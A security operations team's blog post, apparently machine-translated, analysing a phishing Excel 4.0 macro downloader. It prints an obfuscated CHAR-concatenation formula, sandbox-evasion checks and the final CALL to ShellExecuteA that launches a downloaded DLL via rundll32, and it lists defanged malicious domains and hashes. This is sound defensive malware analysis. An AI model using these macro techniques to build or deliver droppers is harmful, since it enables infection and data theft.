Everyday Life Tinkoff Security Operations Center: Single Bootloader Analysis

Hello, Habr!

In our Tinkoff Security Operation Center, we regularly analyze the techniques used in malware and attacks, and recently we came across one interesting file that we would like to talk about.

image

The technique that was used to create this masterpiece has been known for over 20 years, but even decades later it remains relevant, since the calls of some checks in the macro are not suspicious and can be used in legitimate documents. This is a malware downloader written in Excel 4.0 macros.

Tools


As part of the analysis, we will use third-party tools to a minimum and get by with a standard set of programs:

  • Microsoft Office Suite
  • archiver;
  • text editor;
  • as a tool for analyzing software actions, we will use Sysmon;
  • as an environment for analysis, we will use a VM with Windows 7 on board

Mnogabukaf


The document we are going to parse is an Excel workbook in xls format. The malware is delivered in phishing emails, when the document starts, the macro unloads the registry branch, downloads information about Office updates from the Microsoft website, and also downloads and launches malicious .dll. After these steps, the book closes without saving changes.

The main difference from other loaders of this type is that it does not use VBA macros.

Static analysis


The following is an example of an email containing a malicious document.



Open the attachment in our virtual machine.

You should pay attention right away: the picture warns that the document is “protected” and it is worth opening it locally and clicking on “enable content”:



A security warning hints that you need to look at projects in the Visual Basic Editor.

We turn to the developer - macro management (vbs), but we do not see any vbs or vba macros:



Here is the time to remember what office documents are.

Each Microsoft Office document is an archive that can be unzipped using any archiver, extracting the contents of the document:



After unpacking, we see that inside the documents there are no xml files that we are used to seeing, the thing is in the older document format - xls.

In the xls extension, content is not stored in Office Open XML format, but in BIFF8 binary format. The document uses Excel 4.0 macro, where macros can be executed in document cells.

It is worth noting that the sheet with the macro is not hidden, but the sheet has a large number of empty cells, which makes analysis difficult.

There are tools for analyzing BIFF8 files, for example BiffViewer, and for analyzing content there is a great tool - oletools. But we will try to do without using third-party utilities.

Excel also has an xml based format - xlsm, you can save VBA macro code and Excel 4.0 macro sheets in it, which we will do.
The full list of formats available for Excel is excel formats .

We save our document, unzip it:



Let's see what is in the files, start with the macrosheets directory in the xl folder and find the file with all the data on the macro sheet:



Thus, we get all the values ​​in the cells on the macro sheet. The macro itself is obfuscated, the cells contain only numerical values ​​and formulas that convert these values ​​and write the result into new cells.

For example, in this formula, numeric values ​​are converted to characters, concatenated, and written to cell FK17653.

Formula in excel
FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

As a result of the formula, we get the following line:



Each subsequent macro command is “collected” by a similar formula, written to the cell, and then executed.

In order for the macro to run automatically when the document is opened, the cell from which the script should be launched must be called Auto_Open. Consider the workbook.xml file:

workbook.xml
<?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

Inside the file we find the line name = "_ xlnm.Auto_OpenT8nee" hidden = "1"> Sheet2! $ IE $ 65406
This means that the cell with which the macro is run, IE65406, is hidden. Now we know the entry point to the macro.

Dynamic analysis


Never run suspicious files on your machine. To study the actions of suspicious software, it is necessary to use a specially prepared environment: various sandboxes or a specially prepared isolated machine - virtual or iron.

Open the document and run the content. The command prompt window flashes and the book closes.
Let's see the Sysmon logs.

Sysmon has a process creation event (id 1), more about Sysmon can be found here .

By the logs, we see that the macro creates files in the directory c: \ users \ public

The following is the sysmon message, which shows that the registry branch is unloaded and the result is written to the file:

Sysmon Event event ID 1
sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

Upon completion, the macro deletes the created files.

To prohibit the deletion of files, change the permissions on the folder, leave read and write permissions and prohibit deletion:



Run the document again, we will receive an error during the execution of the macro, which will enable us to debug it.

This is possible because there is no exception handling in some calls.





Let's run the macro step-by-step; during the debug, we encounter function calls from dll libraries, such as ShellExecute and URLDownloadToFile . Upon completion of the macro, the following files will be in the shared users folder:



Since we know the cell from which execution begins, we can fill in all the cells in the macro sheet. Let's go over the macro to the close (false) function, where we will interrupt the execution by clicking the “Pause” button.

Environment check cells


Looking through the cells that the macro fills, we come across several functions get.window () and get.workspace ()

  • The get.window () function returns information about the current window: status, window status, its name, display options, etc.
  • The get.workspace () function allows you to find out information about the environment in which the document is running.

A complete list of calls available to Excel 4.0 can be found in the links.

Here we need to dwell in more detail: my colleague and I suggested that most of these calls are related to attempts to bypass sandboxes:

  • get.winow (7) - checks if the current window is hidden. Returns true or false.
  • get.windows (20) - returns true if the window is maximized.
  • get.windows (23) - can return the value 1, 2 and 3.



1 - restored
2 - minimized
3 - maximized

Thus, it checks to see if the current window is open:

get.workspace (31) - checks to see if the macro is being debugged in steps.
get.workspace (13) - check the width of the workspace in pixels: if less than 770, the book will close



get.workspace (14) - check the height of the workspace in pixels: if less than 390, the book will close



get.workspace (19) - check the presence of a mouse.
get.workspace (1) - returns which operating system the document is running in.
In the case of false, in each check there is a transition to the book closing cell without saving the result.

External Library Calls


After checking the environment, we move on to the main functionality. Let's see how WinAPI functions are called from the macro:

1. The reg.exe call, which we saw in the Sysmon logs.



To call the utility, the ShellExecute function from the shell32.dll library is used, the parameters for the function are scattered in other cells.

Cell BN16631:



Cell A46097:



In cell GN47559, the command to export the necessary registry branch is sent, Get.workspace (2) returns the version of Excel.



Cell DX48821 contains the path where the result is written.



Further in the macro there is a check for the existence of the created IcltdXw.reg file and its deletion.

2. Calling the URLDownloadToFile function. This function saves the result of a get request to a file.
The call is as follows:



This call leads us to the Microsoft website, to the page with information about Office updates.

Function parameters:

Cell BR6547



Cell IN49847



After executing the instruction, it is checked whether the file was created, and also the reading of the character by the offset in the file:



Most likely, these actions are aimed at checking whether the environment where the document is running has Internet access.

In the formula, the FILES function is passed to iserror and the argument is the name of the file where the result of the URLDownloadToFile function should be written:



Cell FM27223 will give control to the book closing function:



Upon successful receipt of the file from Microsoft, the cells are filled to prepare for the second call to the urlmon dll.

Payload loading


And here is the second call, but to the dehabadi [.] Ir domain, from which the malicious load should be loaded:



The result will be written to a file in the same folder with the html extension:



Next, we come across a branch in the macro code if, on the first attempt to download payload, failed, a second attempt will be made, but from a different address.

If the download is successful, a warning pop-up will appear and the loaded library will be called.



The full call is as follows:

=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5) 

In a full call, the ShellExecuteA function is called from the Shell32 library with parameters for launching rundll32, with which the exported function of the downloaded malicious library is called.

This completes the macro function, the payload is up and running.

Conclusion


As was said, the technology is quite old ( Excel 4.0 for Windows 3.0 and 3.1 ), but it fully provides the functionality that malware needs to achieve its goals. And the purpose of this file is to quietly put dangerous software in the system that can cause serious damage, starting from the theft of personal data, authorization data for systems, ending with data corruption / encryption on the computer and the ability to remotely execute code.

For the analysis of such documents it is not at all necessary to use any special utilities and software, however, it is worth mentioning a set of oletools scripts - more details can be found here . We will end here, below are indicators of compromise identified as a result of the analysis.

Received IOC:

evans [.] williamdmon [@] wp [.] pl
eleventalents [.] com
dehabadi [.] ir
hxxps: //eleventalents.com/wp-keys.php
hxxps: //dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419

A complete list of indicators of compromise.

References:


Worked on the analysis:

Frolov Ilya
Kolenchuk Alexey

All Articles